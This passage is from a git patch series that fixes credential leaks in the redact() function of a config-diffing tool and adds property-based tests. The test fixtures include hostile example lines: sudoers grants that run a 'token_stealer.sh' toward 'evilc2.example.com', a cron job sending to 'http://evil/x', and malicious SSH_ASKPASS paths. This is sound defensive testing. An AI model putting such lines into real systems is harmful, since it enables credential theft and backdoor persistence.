From e4a208ef5c4021c793b6f7f183caea1a5bc66a33 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 12:43:18 +0530 Subject: [PATCH 1/9] fix(redact): the path-component exemption leaked credentials in assignments MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by attacking my own v0.4.4 change (round 3, my pass). The rule "a key preceded by '/' is a filename component, not an assignment target, so show it" was too broad: it also exempted genuine assignments whose key happened to follow a slash. Six shapes printed the secret in cleartext to the terminal, daily.log and --json, all regressions introduced in v0.4.4 and LIVE in the published tag: //registry.npmjs.org/_authToken= (a real .npmrc spelling) //npm.pkg.github.com/_password= https://host/api_key= /etc/foo/password= source /opt/x/secret= PATH=/usr/bin:/x/token= The exemption now requires a WHITESPACE separator, which is the shape it was written for (`NOPASSWD: /usr/bin/passwd backdoor2026` — a command basename, whose following token is an argument, not a value). An '=' or ':' after a '/'-preceded key is still an assignment and redacts unconditionally as before. The suite passed WITH the leak: it had no case where a '/' sits immediately before a credential key. Added 11 (each on bare/+/- markers), plus mutations Y1 (widen back to any separator) and Y2 (drop the exemption) — both caught. Suite 228 -> 239; 44/44 mutations cumulatively. Co-Authored-By: Claude --- since.py | 8 +++++++- tests/test_since.py | 29 +++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) diff --git a/since.py b/since.py index 34f14b2..90a0bf4 100755 --- a/since.py +++ b/since.py @@ -422,7 +422,13 @@ def _kv(m, depth=0): # `NOPASSWD: /usr/bin/passwd backdoor2026` the "key" is the command being granted, and # treating it as a credential redacted the account being reset — the single most # important detail in a sudoers diff. Same for `/usr/local/bin/passwd_sync.sh --dest …`. - if m.start(1) > 0 and m.string[m.start(1) - 1] == "/": + # …but ONLY when the separator is WHITESPACE. A '/'-preceded key followed by '=' or ':' + # is still an ASSIGNMENT, not a path component, and exempting those leaked real + # credentials: `//registry.npmjs.org/_authToken=` (a genuine .npmrc spelling), + # `https://host/api_key=`, `/etc/foo/password=`. The case this rule exists + # for — `NOPASSWD: /usr/bin/passwd backdoor2026` — is whitespace-separated. + if (m.start(1) > 0 and m.string[m.start(1) - 1] == "/" + and ":" not in sep and "=" not in sep): return _show(m, key, sep, val, depth) # sudoers TAGS are grants, not secrets — but gate on the EXACT uppercase tag, not a # substring: `"nopasswd" in key` also exempted `export NOPASSWD_TOKEN=`. diff --git a/tests/test_since.py b/tests/test_since.py index 409d18f..79faf7d 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1349,3 +1349,32 @@ def test_changed_persistence_item_is_escalated_everywhere(monkeypatch): c = snap(collectors={"launch_items": {"nginx.service": "enabled [bbbb]"}}) f = next(x for x in since.build_findings(b, c) if x["category"] == "launch_items") assert f["action"] == "changed" and f["level"] >= since.ORANGE + + +# The path-component exemption (`/`-preceded key = a filename, not an assignment target) leaked +# real credentials until it was narrowed to WHITESPACE separators only. The suite passed WITH the +# leak because it had no case of this shape — a '/' immediately before a credential key. +@pytest.mark.parametrize("line", [ + "+//registry.npmjs.org/_authToken=SECRETVAL12", # a genuine .npmrc spelling + "+//npm.pkg.github.com/_password=SECRETVAL12", + "+https://host/api_key=SECRETVAL12", + "+curl -d /v1/token=SECRETVAL12 https://x", + "+/etc/foo/password=SECRETVAL12", + "+source /opt/x/secret=SECRETVAL12", + "+PATH=/usr/bin:/x/token=SECRETVAL12", +]) +def test_slash_preceded_assignment_still_redacts(line): + assert "SECRETVAL12" not in since.redact(line) + for marker in ("", "-"): + assert "SECRETVAL12" not in since.redact(marker + line[1:]) + + +@pytest.mark.parametrize("line", [ + "+deva ALL=(ALL) NOPASSWD: /usr/bin/passwd backdoor2026", + "+deva ALL=(ALL) NOPASSWD: /usr/sbin/chpasswd attacker99", + "+deva ALL=(ALL) NOPASSWD: /bin/bash /tmp/token_stealer.sh evilc2.example.com", + "+*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", +]) +def test_slash_preceded_command_still_shown(line): + """What the exemption exists for: a command basename is not a credential key.""" + assert since.redact(line) == line From 68c2de295019071f3cde5797f061e5914f393da7 Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 12:55:38 +0530 Subject: [PATCH 2/9] refactor(redact): single-token assignment scanning + property tests MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The root cause of nearly every redact() bug in this project's history was one design choice: the matcher's value group was `(\S.*)$` — rest-of-line. From that followed the "show exempts every later secret on the line" leaks, the "mask swallows the rest of the attack" hides, and the recursive tail rescan added to patch the first half, which became an unprivileged RecursionError kill switch. The value is now a SINGLE token (or a quoted run, atomic), stopping at whitespace or a shell separator. `re.sub` then continues scanning after each match, so every assignment on a line is decided INDEPENDENTLY — no recursion, no depth cap, no tail semantics. The decision table is written out in four numbered rules, each with the leak or hidden-attack that motivates it. Auth-scheme values (the only multi-token secrets that occur in practice, `Authorization: Token `) moved to the shape pass, which is what lets the assignment scan stay single-token. Verified property: redact("a; b") == redact("a") + "; " + redact("b") over 2700 random compositions. That is precisely what the old design made impossible. The property tests (tests/test_redact_properties.py, stdlib-only with fixed seeds — no Hypothesis, so CI is unchanged and failures are replayable) immediately found three real bugs the 239 example tests missed: - redact("") raised IndexError: `line[:1] in "+-"` is True for the empty string. - `-AuthorizedKeysFile .ssh/authorized_keys` was REDACTED while the `+` form was shown: '-' is in the key char class, so the marker joined the key and turned the SOFT Authorized* directive into a HARD `[_-]auth` match. Classification now happens on a marker-free copy of the key; the output keeps the original. - `CREDENTIAL /t_wvSrE+2I.23-VqI33q` printed in cleartext: the whitespace branch still used the loose "starts with / ~ $" test. Now keyword/short/single-class only, plus a strict full-string $VAR reference (which is deliberately NOT honoured for assignments — `SSHPASS=$ecretPassw0rd` shipped as a leak once). Properties: no-leak, no-hide, idempotence, totality (never raises on arbitrary unicode/control input), bounded cost, marker preservation, pre-filter soundness, no unbounded regex run, no rescan loop, and compositionality. 239 -> 415 tests; 6 structural mutations of the new design all caught; the 31-case adversarial battery (every historical finding, both directions) passes with 0 failures. Co-Authored-By: Claude --- since.py | 163 +++++++++--------- tests/test_redact_properties.py | 297 ++++++++++++++++++++++++++++++++ tests/test_since.py | 13 +- 3 files changed, 388 insertions(+), 85 deletions(-) create mode 100644 tests/test_redact_properties.py diff --git a/since.py b/since.py index 90a0bf4..b156108 100755 --- a/since.py +++ b/since.py @@ -280,14 +280,25 @@ def q(s: str) -> str: _SECRET_KW = (r"secret|pass(?:wd|word|phrase)?|[_-]pwd|token|api[_-]?key|access[_-]?key|" r"client[_-]?secret|private[_-]?key|authoriz|[_-]auth|credential|" r"oauth2?[_-]?bearer") -_KV_RE = re.compile(r"(?i)([\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})" - r"(\s*[:=]\s*|\s+)(\S.*)$") -# Linear, backtrack-free pre-filter. _KV_RE can only match if one of these keywords is -# present, but its bounded `[\w.\-]{0,64}` runs are retried at EVERY offset (~3µs/char) — -# on a long keyword-free word-char line that dominated redact(). Sound by construction: -# any _KV_RE match implies a _KV_KW_RE match on the same line. +# ONE assignment: a credential-ish KEY, a separator, and a value that STOPS at the first +# whitespace or shell separator (or spans a quoted run, which is atomic). +# +# This bound is the whole design. The previous matcher took the value as `(\S.*)$` — +# rest-of-line — and every bug in this function's history followed from it: a "show" decision +# exempted every later secret on the line, a "mask" decision swallowed the rest of the attack, +# and the recursive rescan bolted on to fix the first half became an unprivileged kill switch +# (RecursionError on ~800 keys in one line). With a single-token value, `re.sub` simply +# continues scanning after each match, so every assignment on a line is decided INDEPENDENTLY +# with no recursion, no depth cap, and no tail semantics to get wrong. +_VALUE = r'"[^"\n]{0,512}"|\'[^\'\n]{0,512}\'|[^\s;&|]+' +_ASSIGN_RE = re.compile(r"(?i)(?P[\w.\-]{0,64}(?:" + _SECRET_KW + r")[\w.\-]{0,64})" + r"(?P\s*[:=]\s*|\s+)(?P" + _VALUE + r")") +# Linear, backtrack-free pre-filter: _ASSIGN_RE can only match where one of these keywords is, +# but its bounded `[\w.\-]{0,64}` runs are retried at every offset. Sound by construction — +# any _ASSIGN_RE match implies a _KV_KW_RE match on the same line. _KV_KW_RE = re.compile("(?i)" + _SECRET_KW) -_SCHEME_RE = re.compile(r"(?i)\b(bearer|basic)\s+([A-Za-z0-9._~+/=-]{6,})") # auth headers +_SCHEME_RE = re.compile( + r"(?i)\b(bearer|basic|token|apikey|api-key|digest|negotiate)\s+([A-Za-z0-9._~+/=-]{6,})") _URLAUTH_RE = re.compile(r"://([^/\s:@]+):([^/\s@]+)@") # user:pass@host # `https://@github.com/...` — the standard way to embed a GitHub/GitLab PAT, and # `.gitconfig` is tracked. No colon, so _URLAUTH_RE never saw it. Length+entropy gated so @@ -343,6 +354,9 @@ def q(s: str) -> str: # The looser test leaked: a base64 secret starts with '/' about 1 time in 64 and every # crypt/bcrypt hash starts with '$', so `SECRET_FILE=/hunter2…` printed in cleartext. _REAL_PATH_RE = re.compile(r"^(?:/[^/\s]+/|~/|\./|\.\./|\$\{?\w+\}?/)") +# `$VAR` / `${VAR}` in full: a reference, not a value. Requires a LETTER or '_' first, so a +# crypt/shadow hash (`$6$rounds$…`) is not mistaken for one and still redacts. +_VAR_REF_RE = re.compile(r"^\$\{?[A-Za-z_]\w*\}?$") _PATH_VALUED_KEY_RE = re.compile( r"(?i)(askpass|passfile|pass_file|keysfile|keyscommand|[_-]sock$|_socket$|" r"[_-]file$|[_-]dir$|[_-]path$)") @@ -382,7 +396,11 @@ def redact(line: str) -> str: # PEM body / raw key material on EITHER side of a unified diff. The char class is # +-agnostic, so strip the one-char diff marker before testing — otherwise a key # body printed raw on a `-` (removed) line while the `+` line is redacted. - marker = line[0] if line[:1] in "+-" else "" + # NOTE the tuple: `line[:1] in "+-"` is ALSO true for the empty string ("" is a substring + # of everything), so redact("") raised IndexError — found by the no-raise property test. + # The marker is NOT stripped from `line` itself: a body can legitimately begin with '-' + # (a `.curlrc` `-u user:pass` line), and eating that character broke its masking. + marker = line[0] if line[:1] in ("+", "-") else "" core = line[1:] if marker else line if _B64LINE_RE.match(core.strip()): return f"{marker}«redacted (key material)»" @@ -398,79 +416,62 @@ def redact(line: str) -> str: line = _USERPASS_RE.sub(r"\1«redacted»", line) line = _TOKEN_RE.sub("«redacted»", line) - def _show(m, key, sep, val, depth): - """A SHOW decision must expose only THIS key's value, not the whole rest of the line: - `_KV_RE`'s value group runs to end-of-line, so returning it verbatim also exempted any - later secret on the same line (`AuthorizedKeysCommand /usr/bin/fk --api-key=`). - Re-scan the tail — but BOUND the nesting: "each pass consumes its own key so it - terminates" was true and useless, because one line can hold hundreds of keys. A 2.5KB - comment of repeated `_pwd ` (well under _REDACT_MAX, so truncation did not help) - recursed ~800 deep and raised RecursionError, which nothing catches: the digest died - before saving a snapshot, so the planted line stayed "added" and every later run died - identically — an unprivileged one-line kill switch. At the cap, fail SAFE (redact).""" - if depth >= _SHOW_MAX_DEPTH: - return f"{key}{sep}«redacted»" - inner = (_KV_RE.sub(lambda mm: _kv(mm, depth + 1), val) - if _KV_KW_RE.search(val) else val) - inner = _CMDPASS_RE.sub(lambda mm: f"{mm.group(1)}«redacted»", inner) - return f"{key}{sep}{inner}" - - def _kv(m, depth=0): - key, sep, val = m.group(1), m.group(2), m.group(3) - tok = val.split()[0] if val.split() else "" - # A key preceded by '/' is a FILENAME component, not an assignment target: in - # `NOPASSWD: /usr/bin/passwd backdoor2026` the "key" is the command being granted, and - # treating it as a credential redacted the account being reset — the single most - # important detail in a sudoers diff. Same for `/usr/local/bin/passwd_sync.sh --dest …`. - # …but ONLY when the separator is WHITESPACE. A '/'-preceded key followed by '=' or ':' - # is still an ASSIGNMENT, not a path component, and exempting those leaked real - # credentials: `//registry.npmjs.org/_authToken=` (a genuine .npmrc spelling), - # `https://host/api_key=`, `/etc/foo/password=`. The case this rule exists - # for — `NOPASSWD: /usr/bin/passwd backdoor2026` — is whitespace-separated. - if (m.start(1) > 0 and m.string[m.start(1) - 1] == "/" - and ":" not in sep and "=" not in sep): - return _show(m, key, sep, val, depth) - # sudoers TAGS are grants, not secrets — but gate on the EXACT uppercase tag, not a - # substring: `"nopasswd" in key` also exempted `export NOPASSWD_TOKEN=`. - if key in _SUDO_TAGS and ":" in sep and _sudo_cmd_spec(tok): - # INTACT, deliberately: the granted command list is the payload of a sudoers diff - # (which account is reset, which host the command talks to). Rescanning it masked - # exactly that. Known credential shapes inside it were already masked above by - # _CMDPASS_RE / _TOKEN_RE / _SCHEME_RE, which run over the whole line first. - return m.group(0) - if _HARD_SECRET_RE.search(key): - # The key literally NAMES a credential, so the value IS the secret. - # An assignment (`password=…`, `_auth:…`, `SSHPASS=…`) redacts UNCONDITIONALLY: - # a token can begin with '/' (base64 alphabet) or '$' (a crypt/shadow hash), so - # a "first char looks like a path/var-ref" test would leak it. A whitespace - # separator is prose or a pam/login.defs directive (`password required …`, - # `PASS_MAX_DAYS 99999`) — show short/keyword/single-class values, redact only - # a credential-shaped one (`password hunter2mixed`). - if (":" in sep) or ("=" in sep): - # …with two exceptions, both of which are ATTACKS whose value is the whole - # point: a config keyword (`PasswordAuthentication=yes` — the valid `Key=value` - # spelling of a directive we already show in its whitespace form), and a - # path under a path-valued key (`SSH_ASKPASS=/tmp/steal.sh`). Anything else - # stays unconditionally masked: a real token can begin with '/' or '$'. - if len(val.split()) == 1 and ( - tok.lower() in _KW_VALUES - or (_PATH_VALUED_KEY_RE.search(key) and _REAL_PATH_RE.match(tok))): - # _show, NOT m.group(0): "one whitespace token" does NOT mean "nothing - # follows" — a shell chains with ';'/'&&'/'|', so - # `SSH_ASKPASS=/tmp/a.sh;MYSQL_PWD=` printed the password. - return _show(m, key, sep, val, depth) - return f"{key}{sep}«redacted»" - if _is_directive_value(tok) or len(tok) < 6 or _char_classes(tok) < 2: - return _show(m, key, sep, val, depth) - return f"{key}{sep}«redacted»" - # SOFT (falls through to _show, which re-scans the tail — see L5): - # the key only CONTAINS a directive name (`AuthorizedKeysFile`, - # `AuthorizedKeysCommandUser`, `Authorization`). Its value is a path (absolute OR - # relative like `.ssh/authorized_keys`), a username, or a keyword — real token - # shapes were already masked by the regexes above. SHOW it, so a malicious - # AuthorizedKeys* change stays visible (the whole point of #2). - return _show(m, key, sep, val, depth) - return _KV_RE.sub(_kv, line) if _KV_KW_RE.search(line) else line + # ---- assignment pass: every `keyvalue` on the line, decided INDEPENDENTLY ---- + # The decision table, in order. Each rule states WHY, because every one of them exists + # because its absence caused a real leak or hid a real attack: + # + # 1. key is a PATH COMPONENT (preceded by '/', whitespace separator) -> SHOW + # `NOPASSWD: /usr/bin/passwd backdoor2026` — the "key" is the granted command and the + # "value" is its argument; masking it hid which account gets reset. Whitespace only: + # `//registry.npmjs.org/_authToken=` is an assignment, not a path. + # 2. key is a sudoers TAG and the value opens a command spec -> SHOW + # The granted command list is the payload of a sudoers diff. + # 3. key NAMES a credential (HARD): + # assignment separator ('=' / ':') -> MASK + # except a config keyword (`PasswordAuthentication=yes`) or a real path under a + # path-valued key (`SSH_ASKPASS=/tmp/steal.sh`) — both are the attack itself. + # whitespace separator: prose or a directive (`password required pam_unix.so`, + # `PASS_MAX_DAYS 99999`) -> SHOW + # unless the value is credential-shaped (>=6 chars, >=2 char classes). + # 4. key merely CONTAINS a directive name (`AuthorizedKeysFile`, SOFT) -> SHOW + def _assignment(m): + key, sep, val = m.group("key"), m.group("sep"), m.group("val") + # A leading diff marker can join the key, because '-' is in the key's char class: + # `-AuthorizedKeysFile` turned the SOFT `Authorized*` directive into a HARD `[_-]auth` + # match, so the `-` (removed) form was REDACTED while the `+` form was shown. Classify + # on the marker-free key so no rule can depend on which side of the diff it came from. + kcls = key.lstrip("+-") # for CLASSIFICATION only + bare = val.strip("\"'") + masked = f"{key}{sep}«redacted»" # output keeps the original key, marker included + assigned = (":" in sep) or ("=" in sep) + + if (m.start("key") > 0 and m.string[m.start("key") - 1] == "/" and not assigned): + return m.group(0) # 1 + if kcls in _SUDO_TAGS and ":" in sep and _sudo_cmd_spec(bare): + return m.group(0) # 2 + if _HARD_SECRET_RE.search(kcls): # 3 + if assigned: + # NO var-ref exemption here, deliberately: `SSHPASS=$ecretPassw0rd` and + # `API_KEY_FILE=$hunter2Xyz9` are indistinguishable from `$VAR` by shape, and + # v0.4.2 already shipped that leak once. Under an assignment a HARD key's value + # is the secret unless it is a config keyword or a real path under a + # path-valued key. (The whitespace branch below can afford the exemption: its + # values are directives, e.g. nginx `Authorization $http_authorization;`.) + if (bare.lower() in _KW_VALUES + or (_PATH_VALUED_KEY_RE.search(kcls) and _REAL_PATH_RE.match(bare))): + return m.group(0) + return masked + # keyword / short / single-class only. NOT "starts with / ~ $": that first-char + # test showed `CREDENTIAL /t_wvSrE+2I.23-VqI33q` in cleartext (property test P1). + # Legitimate whitespace-separated directive values are keywords or numbers + # (`password required pam_unix.so`, `PASS_MAX_DAYS 99999`), never paths. + if (bare.lower() in _KW_VALUES or _VAR_REF_RE.match(bare) + or len(bare) < 6 or _char_classes(bare) < 2): + return m.group(0) + return masked + return m.group(0) # 4 + + return _ASSIGN_RE.sub(_assignment, line) if _KV_KW_RE.search(line) else line # --------------------------------------------------------------------------- diff --git a/tests/test_redact_properties.py b/tests/test_redact_properties.py new file mode 100644 index 0000000..6b9aa5d --- /dev/null +++ b/tests/test_redact_properties.py @@ -0,0 +1,297 @@ +"""Property tests for `redact()` — the highest-risk function in the tool. + +Every audit round so far found a `redact()` bug, and the example-based tests kept passing +because each new leak had a shape nobody had thought to write down. These tests assert +PROPERTIES over generated corpora instead, so a whole class of shapes is covered rather than +a list of remembered ones. + +Deliberately dependency-free: the project ships zero runtime deps and CI installs only +pytest, so this uses stdlib `random` with FIXED seeds rather than Hypothesis. That buys +reproducibility (a failure is replayable from the printed seed) at the cost of shrinking — +an acceptable trade here, and it keeps CI unchanged. + +The four properties: + P1 no-leak a credential-shaped value under a credential-naming key never survives + P2 no-hide a security directive we exist to surface is never altered + P3 idempotent redact(redact(x)) == redact(x) + P4 total never raises, never unbounded, marker preserved +""" +import random +import re +import string +import time + +import pytest + +import since + +SEEDS = [0, 1, 7, 42, 1337, 20260725] +MARKERS = ["", "+", "-"] + +# Keys whose value IS the credential. Every one of these appears in a file `since` diffs. +CREDENTIAL_KEYS = [ + "password", "PASSWORD", "passwd", "passphrase", "SSHPASS", "MYSQL_PWD", "PGPASSWORD", + "api_key", "API-KEY", "apikey", "access_key", "AWS_SECRET_ACCESS_KEY", "client_secret", + "GITHUB_TOKEN", "token", "_authToken", "_auth", "_password", "private_key", + "CREDENTIAL", "oauth2-bearer", "http_password", "proxy-passwd", "secret", +] +# Keys that merely CONTAIN a directive-ish word: their value must stay visible. +DIRECTIVE_LINES = [ + "AuthorizedKeysFile /tmp/evil/keys", + "AuthorizedKeysFile .ssh/authorized_keys", + "AuthorizedKeysFile=/tmp/evil/keys", + "AuthorizedKeysCommandUser nobody", + "PasswordAuthentication yes", + "PasswordAuthentication no", + "PasswordAuthentication=yes", + "PermitEmptyPasswords yes", + "PermitRootLogin prohibit-password", + "AuthenticationMethods password", + "ChallengeResponseAuthentication no", + "UsePAM yes", + "password required pam_unix.so", + "password sufficient pam_deny.so", + "PASS_MAX_DAYS 99999", + "PASS_MIN_LEN 4", + "deva ALL=(ALL) NOPASSWD: ALL", + "deva ALL=(ALL) NOPASSWD: /tmp/miner", + "deva ALL=(ALL) PASSWD: /tmp/miner", + "deva ALL=(ALL) PASSWD:NOEXEC: /tmp/miner", + "deva ALL=(ALL) PASSWD: ALL, !/usr/bin/su", + "deva ALL=(ALL) NOPASSWD: /usr/bin/passwd backdoor2026", + "deva ALL=(ALL) NOPASSWD: /usr/sbin/chpasswd attacker99", + "export SSH_ASKPASS=/tmp/steal.sh", + "export SUDO_ASKPASS=/tmp/steal.sh", + "export GIT_ASKPASS=/tmp/steal.sh", + "export SSH_AUTH_SOCK=/tmp/.evil/agent.sock", + "export PGPASSFILE=$HOME/.pgpass", + "*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", + "proxy_set_header Authorization $http_authorization;", + "# basic networking setup", + "alias ll='ls -la'", + "ssh -p 2222 user@host", + "mkdir -p /tmp/x", +] +SEPARATORS = ["=", " = ", ":", ": ", "= ", " =", ": ", " "] +NOISE_PREFIX = ["", "export ", " ", "\t", "set -x; ", "# ", "if true; then ", "env "] +NOISE_SUFFIX = ["", " # comment", " || true", " ; echo done", " 2>/dev/null", " && ls"] + + +def _credential_value(rng): + """A value that is unmistakably credential-shaped: >=6 chars and >=2 character classes, + which is exactly the threshold `redact()` uses to distinguish a secret from a keyword.""" + alphabets = [string.ascii_lowercase, string.ascii_uppercase, string.digits, "_-./+="] + while True: + n = rng.randint(8, 40) + val = "".join(rng.choice(rng.choice(alphabets)) for _ in range(n)) + # a marker substring we can search for in the output, and the shape gate must agree + if since._char_classes(val) >= 2 and len(val) >= 6 and not val.startswith("-"): + return val + + +def _lines_with_secret(rng, count): + """Generate (line, secret) pairs where the secret MUST be masked.""" + out = [] + for _ in range(count): + key = rng.choice(CREDENTIAL_KEYS) + sep = rng.choice(SEPARATORS) + secret = _credential_value(rng) + quoted = rng.random() < 0.3 + val = f'"{secret}"' if quoted else secret + line = (rng.choice(MARKERS) + rng.choice(NOISE_PREFIX) + key + sep + val + + rng.choice(NOISE_SUFFIX)) + # a whitespace separator with a keyword-ish value is legitimately SHOWN, so only + # assert on shapes the spec says must be masked + if sep.strip() == "" and since._char_classes(secret) < 2: + continue + out.append((line, secret)) + return out + + +# --------------------------------------------------------------- P1: never leak +@pytest.mark.parametrize("seed", SEEDS) +def test_property_credential_values_never_survive(seed): + rng = random.Random(seed) + for line, secret in _lines_with_secret(rng, 400): + out = since.redact(line) + assert secret not in out, f"seed={seed} LEAK\n in : {line!r}\n out: {out!r}" + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_secret_survives_no_marker_variant(seed): + """Redaction must not depend on the diff marker — a past leak existed only on `+` lines.""" + rng = random.Random(seed + 500) + for line, secret in _lines_with_secret(rng, 200): + body = line[1:] if line[:1] in "+-" else line + for marker in MARKERS: + out = since.redact(marker + body) + assert secret not in out, f"seed={seed} marker={marker!r} LEAK: {out!r}" + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_chained_commands_are_each_scanned(seed): + """Shell chaining must not exempt what follows: one `key=value` being SHOWN cannot make a + later secret on the same line invisible (the class of LEAK-1 and of the old tail rescan).""" + rng = random.Random(seed + 900) + shown = ["export SSH_ASKPASS=/tmp/a.sh", "AuthorizedKeysFile .ssh/authorized_keys", + "PasswordAuthentication=yes", "export PGPASSFILE=$HOME/.pgpass", + "deva ALL=(ALL) NOPASSWD: /usr/bin/passwd bob"] + joiners = [";", " ; ", "&&", " && ", "|", " | ", " "] + for _ in range(300): + secret = _credential_value(rng) + key = rng.choice(CREDENTIAL_KEYS) + line = (rng.choice(MARKERS) + rng.choice(shown) + rng.choice(joiners) + + key + rng.choice(["=", ": "]) + secret) + out = since.redact(line) + assert secret not in out, f"seed={seed} LEAK after a shown value\n in : {line!r}\n out: {out!r}" + + +# --------------------------------------------------------------- P2: never hide +@pytest.mark.parametrize("directive", DIRECTIVE_LINES) +@pytest.mark.parametrize("marker", MARKERS) +def test_property_directives_are_never_altered(directive, marker): + line = marker + directive + assert since.redact(line) == line, f"HID an attack-visible directive: {since.redact(line)!r}" + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_directives_survive_added_noise(seed): + rng = random.Random(seed + 77) + for _ in range(200): + d = rng.choice(DIRECTIVE_LINES) + line = rng.choice(MARKERS) + d + out = since.redact(line) + assert out == line, f"seed={seed} HID: {line!r} -> {out!r}" + + +# --------------------------------------------------------------- P3: idempotence +@pytest.mark.parametrize("seed", SEEDS) +def test_property_idempotent(seed): + rng = random.Random(seed + 31) + corpus = [l for l, _ in _lines_with_secret(rng, 200)] + corpus += [rng.choice(MARKERS) + d for d in DIRECTIVE_LINES] + for line in corpus: + once = since.redact(line) + assert since.redact(once) == once, f"not idempotent:\n {once!r}\n {since.redact(once)!r}" + + +# --------------------------------------------------------------- P4: total & bounded +@pytest.mark.parametrize("seed", SEEDS) +def test_property_never_raises_on_arbitrary_input(seed): + """Whatever a malware-controlled file contains, redact() must return a string. It runs on + every diff line of an unattended job, and an exception there killed the whole digest.""" + rng = random.Random(seed + 13) + pool = (string.printable + "«»\x00\x1b\udc80​‮" + + "".join(chr(rng.randrange(0x20, 0x2FFF)) for _ in range(200))) + for _ in range(400): + n = rng.randint(0, 300) + line = "".join(rng.choice(pool) for _ in range(n)) + out = since.redact(line) + assert isinstance(out, str) + + +@pytest.mark.parametrize("payload", [ + "# " + "_pwd " * 900, # the RecursionError kill switch + "password=" + "a" * 200_000, + "user " + "a" * 200_000, + "; ".join(f"token{i}=aB3xYz9Qw{i}" for i in range(2_000)), + "/" * 50_000 + "password=aB3xYz9Qw", + '"' * 20_000 + "password=aB3xYz9Qw", + "password=" + '"' * 20_000, + "nc " * 40_000, + "base64 -d " * 20_000, + "://" + "a" * 100_000 + "@host", + "mysql " + "-a b " * 5_000 + "-pSECRET", +]) +def test_property_bounded_cost(payload): + for marker in MARKERS: + t = time.time() + out = since.redact(marker + payload) + dt = time.time() - t + assert isinstance(out, str) + assert dt < 0.5, f"{dt:.2f}s on {payload[:40]!r} — superlinear or unbounded" + + +@pytest.mark.parametrize("seed", SEEDS) +def test_property_diff_marker_is_preserved(seed): + rng = random.Random(seed + 5) + for line, _ in _lines_with_secret(rng, 200): + body = line[1:] if line[:1] in "+-" else line + for marker in ("+", "-"): + out = since.redact(marker + body) + assert out[:1] == marker, f"marker lost: {out[:20]!r}" + + +def test_property_no_regex_has_an_unbounded_run(): + """Every quantifier that can span attacker text must be bounded. This is a structural + check, not a timing one: an unbounded `.*`/`.+`/`\\S*` next to another quantifier is how + both historical quadratic blowups happened.""" + import inspect + src = inspect.getsource(since) + offenders = [] + for name in dir(since): + obj = getattr(since, name) + if isinstance(obj, re.Pattern) and name.isupper(): + if ".*" in obj.pattern or ".+" in obj.pattern: + offenders.append((name, obj.pattern)) + assert not offenders, f"unbounded runs in {offenders}" + + +def test_property_prefilter_cannot_drift_from_the_matcher(): + """_KV_KW_RE short-circuits _ASSIGN_RE, so it must match a superset. Both are built from + the same _SECRET_KW constant; this pins that they stay that way.""" + assert since._SECRET_KW in since._ASSIGN_RE.pattern + assert since._SECRET_KW in since._KV_KW_RE.pattern + rng = random.Random(99) + alphabet = string.ascii_letters + string.digits + "_-.=: ;&|/\"'" + for _ in range(20_000): + line = "".join(rng.choice(alphabet) for _ in range(rng.randint(1, 40))) + if since._ASSIGN_RE.search(line): + assert since._KV_KW_RE.search(line), f"pre-filter would skip a match: {line!r}" + + +# --------------------------------------------------------------- P5: compositionality +# The invariant the restructure buys, and the one the old design made impossible: each +# assignment on a line is decided IN ISOLATION. Every historical bug in this function was a +# violation of it — a "show" decision exempting later secrets, a "mask" decision swallowing +# the rest of an attack line, and the recursive rescan bolted on to patch the first case. +COMPOSABLE = [ + "password=hunter2Mixed", + "export SSH_ASKPASS=/tmp/steal.sh", + "PasswordAuthentication=yes", + "api_key=aB3xYz9Qw2mN", + "AuthorizedKeysFile .ssh/authorized_keys", + "MYSQL_PWD=Tr0ub4dor3", + "PASS_MAX_DAYS 99999", + "_authToken=SECRETVALUE12", + "export PGPASSFILE=$HOME/.pgpass", + "client_secret=Xy9-_abcdef", +] + + +@pytest.mark.parametrize("seed", SEEDS) +@pytest.mark.parametrize("joiner", ["; ", " && ", " | "]) +def test_property_assignments_are_decided_independently(seed, joiner): + rng = random.Random(seed + 4242) + for _ in range(150): + parts = [rng.choice(COMPOSABLE) for _ in range(rng.randint(2, 5))] + whole = since.redact(joiner.join(parts)) + piecewise = joiner.join(since.redact(p) for p in parts) + assert whole == piecewise, ( + f"seed={seed} joiner={joiner!r} decisions are NOT independent\n" + f" whole : {whole!r}\n piecewise: {piecewise!r}") + + +def test_property_no_rescan_loop_remains(): + """`redact` must self-call at most once (the >_REDACT_MAX truncation). The recursive tail + rescan it replaced was an unprivileged kill switch: RecursionError on ~800 keys in one line, + which killed the digest before it saved a snapshot, so it recurred every day forever.""" + import re as _re + import inspect + body = inspect.getsource(since.redact) + # the only self-call is the truncation guard, whose argument is already <= the cap + selfcalls = _re.findall(r"return \(?redact\(", body) + assert len(selfcalls) == 1, f"unexpected self-calls: {selfcalls}" + assert "_REDACT_MAX]" in body + # and no helper recurses either + assert "_show(" not in body diff --git a/tests/test_since.py b/tests/test_since.py index 79faf7d..40130f3 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -611,14 +611,14 @@ def test_redact_is_bounded_on_huge_lines(): def test_redact_prefilter_matches_the_matcher(): - # The soundness invariant of the short-circuit: anything _KV_RE can match, the cheap + # The soundness invariant of the short-circuit: anything _ASSIGN_RE can match, the cheap # pre-filter must also match — otherwise that key silently stops being redacted. # (`authoriz` is deliberately SOFT: it gates the shown `Authorized*` directives.) for kw in ("secret", "passwd", "password", "passphrase", "token", "api_key", "access-key", "client_secret", "private_key", "authoriz", "_auth", "credential", "authorization"): line = f"+x{kw}y=SoMeV4lue" - assert since._KV_RE.search(line), kw # the matcher fires + assert since._ASSIGN_RE.search(line), kw # the matcher fires assert since._KV_KW_RE.search(line), kw # …so the pre-filter must too if kw != "authoriz": # every HARD keyword still redacts assert "«redacted»" in since.redact(line), kw @@ -1298,8 +1298,13 @@ def test_cat_usable(): # Pin the sudoers carve-out ITSELF (not just the '/'-preceded-key rule that also protects it): # rescanning a command spec redacts from an inner `pass=` to end-of-line, deleting the C2 host. def 